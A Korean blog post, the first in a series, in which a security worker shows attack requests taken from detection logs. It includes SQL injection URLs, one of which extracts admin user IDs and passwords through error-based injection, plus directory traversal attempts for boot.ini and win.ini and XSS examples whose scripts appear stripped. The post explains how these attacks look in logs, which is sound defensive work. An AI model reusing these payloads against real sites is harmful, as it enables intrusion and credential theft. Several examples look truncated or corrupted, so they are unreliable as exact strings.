SQL Injection, XSS 해킹 공격 기법 – 1편

제가 현재 근무하는 회사에는 상단 보안 APT 보안 장비에서 1일 수십만건 이상의 보안 위협 탐지 이벤트 로그가 발생됩니다. 수 많은 탐지 로그중 잘 알려진 대표적인 공격들에 대한 로그를 기준으로 어떤 방식으로 공격자가 실제 공격을 시도하는지 실제 시스템에는 어떻게 기록이 되는지 실제 사례를 토대로 설명드리겠습니다.

이번 포스팅에서는 하루에도 셀수도 없을 만큼 수많은 공격 유형이 있으나 잘 알려진 가장 대표적인 공격 유형(SQL Injection, XSS)에 대해서만 설명드리도록 하겠습니다. SQL Injection 공격과 XSS 공격에 대한 사전 예방 방법에 대해서는 별도로 내용을 기술하진 않겠습니다. 인터넷이나 구글 검색을 통해서 많은 자료를 찾아 볼수 있을것입니다.

SQL Injection 공격

http://abc.xxxx.com/xxx/view.php?article_id=-1%20UNION%20ALL%20SELECT%201,2,3,0x53514c2d4974696f6e2d54657374,5,6,7,8,9

http://abc.xxxx.com/xxx/suworkplay.php?ID=-1)%20UNION%20ALL%20SELECT%200x4f70656e5641532d6e6a656374696f6e2d54657374,2,3,4,5,6,7,8,9,10,11%23

http://ab.cd.com/test.php?action=list&id=1%20or%20@%60%27%60=1%20and%20(SELECT%201%20FROM%20(select%20count(),concat(floor(rand(0)2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+%60%23@__admin%60%20+limit+0,1),1,62)))a%20from%20information_schema.tables%20group%20by%20a)

http://abc.xxxx.com/xxx/xl_stats/download.php?id=2+AND+1=2+UNION+SELECT+1,2,3,4,0x53514c2d374696f6e2d54657374–

http://xx.xx.com/wapq.php?action=list&id=1%20or%20@%60%27%60=1%20and%20(SELECT%201%20FROM%20(select%20count(),concat(floor(rand(0)2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+%60%23@__admin%60%20+limit+0,1),1,62)))a%20from%20information_schema.tables%20group%20by%20a)

Directory Traversal (디렉토리 경로 조작 공격)

웹서버 환경 설정상의 오류나 중요 파일의 경로 오류를 이용하여 디렉토리 리스팅을 통해 권한 설정이 미흡한 파일에 접근하거나 중요 정보를 획득 하는 공격.

실제 공격 형태

http://xxx.abc.com/..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
http://xxx.abc.com/…………\windows/win.ini
http://xxx.abc.com/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F

XSS (크로스사이트 스크립팅 공격)

게시판이나 웹 메일 등에 악의적인 스크립트를 삽입하여 비정상적인 페이지가 보이하여 타 사용자의 사용을 방해하거나
악의 적인 목적으로 사용자의 쿠키 및 세션등을 탈취 하는 해킹 공격.

실제 공격 형태

http://www.xxx.com/popup/findOrder.asp?page=&year=&month=&seyear=&semonth=&sgdname=

http://www.xxx.com/cscenter/qa_list.asp?page=&searchTitle=&SearchContent=&searchValue=””>

http://abc.xxx.com/index.php?file=Liens&op=”>

http://abcde.co.kr/blog/blogs.php?tag=gameCat+